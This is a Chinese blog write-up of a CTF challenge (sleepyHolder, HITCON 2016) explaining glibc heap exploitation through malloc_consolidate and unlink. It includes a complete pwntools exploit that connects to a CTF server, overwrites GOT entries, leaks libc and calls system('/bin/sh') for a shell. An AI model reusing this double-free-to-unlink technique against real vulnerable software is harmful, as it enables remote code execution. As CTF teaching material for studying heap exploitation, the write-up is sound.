Unlink 与 fastbin dup consolidate 利用

Unlink 与 fastbin dup consolidate 利用

malloc 在分配 large chunk 的时候,会调用 malloc_consolidate 函数。

malloc_consolidate 函数将 fastbin 中的 chunk 与相邻 free chunk 合并,合并后放入 unsorted bin。

若 chunk 的 next chunk 不是 free chunk,则清除 next chunk 的 size 的 INUSE 标志位。

可以利用 malloc_consolidate 清理 next chunk size 标志位的性质构造 unlink

unlink 最主要的思路就是想办法清除掉 INUSE 标志位,构造向后(低地址)unlink 的机会

unlink fast bin dup consolidate 利用条件:

  1. 存在多次释放漏洞
  2. 可以分配 large chunk

sleepyHolder_hitcon_2016

这是一道简单的 unlink 题,只能创建三种类型固定大小的 chunk

  1. small secret: 40 字节 (fastbin)
  2. big secret: 4000 字节
  3. huge secret: 400000 字节

其中 huge secret 只能在申请的时候改写,不能再次修改和释放,只能利用 huge secret 来触发 malloc_consolidate

有三种操作:

  1. Wipe: 释放 small/big
  2. Renew: 修改 small/big secret
  3. Keep:申请 small/big/huge , (huge 只能申请一次)

unlink 操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# unlink
keep(1, b'\x11' * 0x28) # small secret
keep(2, b'\x22' * 0x28) # big secret
# 此时 small 与 big 对应的 chunk 相邻
wipe(1) # fastbin -> small secret

# big 对应的 chunk->size inuse 设置为 0
# fastbin 被清空
keep(3, b'\x33' * 0x28) # malloc_consolidate


# 将 small bin 再次放入 fastbin
wipe(1) # fastbin -> small secret

# 申请 small secret 再次得到 small secret 控制权
keep(1, '\x44' * 0x28)

# 在 small 中构造 fake chunk
target = 0x6020D0
fake_chunk = p64(0) + p64(0x21) + p64(target - 0x18) + p64(target - 0x10) + p64(0x20)
renew(1, fake_chunk)

# 释放 big,由于 big 对应 chunk->prev_size INUSE 为 0,则 unlink
wipe(2) # unlink

unlink 操作后 target = 0x6020D0 (存 small 地址的变量) 的值被修改为 0x6020D0 - 0x18,调用 renew 可控如下所有地址区间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.bss:00000000006020B8 qword_6020B8    dq ?                    ; DATA XREF: sub_4008F0r
.bss:00000000006020B8 ; sub_4008F0+13↑w
.bss:00000000006020C0 ; void *big_ptr
.bss:00000000006020C0 big_ptr dq ? ; DATA XREF: Keep+11Ew
.bss:00000000006020C0 ; Keep+139↑r ...
.bss:00000000006020C8 ; void *huge_ptr
.bss:00000000006020C8 huge_ptr dq ? ; DATA XREF: Keep+174↑w
.bss:00000000006020C8 ; Keep+18Fr
.bss:00000000006020D0 ; void *small_ptr
.bss:00000000006020D0 small_ptr dq ? ; DATA XREF: Keep+C2w
.bss:00000000006020D0 ; Keep+DDr ...
.bss:00000000006020D8 big dd ? ; DATA XREF: Keep:loc_400A3Dr
.bss:00000000006020D8 ; Keep+125↑w ...
.bss:00000000006020DC huge dd ? ; DATA XREF: Keep+35↑r
.bss:00000000006020DC ; Keep:loc_400A96r ...
.bss:00000000006020E0 small dd ? ; DATA XREF: Keep:loc_4009E1r
.bss:00000000006020E0 ; Keep+C9w ...

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from os import system
import time
from pwn import *
context.log_level = 'debug'

#libc_file_name = '/home/pandaos/Projects/pwn/glibc/2.23/64/lib/libc-2.23.so'
libc_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/libc-2.23.so'
ld_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/ld-linux-x86-64.so.2'
# p = process([ld_file_name, './sleepyHolder_hitcon_2016'],
# env = {"LD_PRELOAD": libc_file_name})
p = remote('node3.buuoj.cn', 25711)
elf = ELF('sleepyHolder_hitcon_2016')
libc = ELF(libc_file_name)


def keep(type, content):
# 1 small
# 2 Big
# 3 huge
p.recvuntil('3. Renew secret\n')
p.sendline('1')
time.sleep(0.5)
p.sendline(str(type))
p.recvuntil('Tell me your secret: \n')
p.send(content)


def renew(type, content):
p.recvuntil('3. Renew secret\n')
p.sendline('3')
p.recvuntil('Which Secret do you want to renew?\n')
p.sendline(str(type))
p.recvuntil('Tell me your secret: \n')
p.send(content)

def wipe(type):
p.recvuntil('3. Renew secret\n')
p.sendline('2')
p.recvuntil('2. Big secret\n')
p.send(str(type))



# unlink
keep(1, b'\x11' * 0x28)
keep(2, b'\x22' * 0x28)
wipe(1)
keep(3, b'\x33' * 0x28) # small presize clear
wipe(1)
keep(1, '\x44' * 0x28)

target = 0x6020D0
fake_chunk = p64(0) + p64(0x21) + p64(target - 0x18) + p64(target - 0x10) + p64(0x20)
renew(1, fake_chunk)
wipe(2) # unlink

# 0x6020D0-0x18 内存可写
# big_ptr # huge_ptr
payload = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(0x00000000006020b8) + p64(1) * 3
renew(1, payload)
renew(2, p64(elf.plt['puts']))
payload = p64(0) + p64(elf.got['puts']) + p64(elf.got['puts']) + p64(0x00000000006020b8) + p64(1) * 3
renew(1, payload)
wipe(2)

leak_puts = u64(p.recvn(6) + b'\x00\x00')
libc_base = leak_puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))

payload = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(bin_sh) + p64(1) * 3
renew(1, payload)
renew(2, p64(system))
wipe(1)

# gdb.attach(p)
# input(">>")
p.interactive()



本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!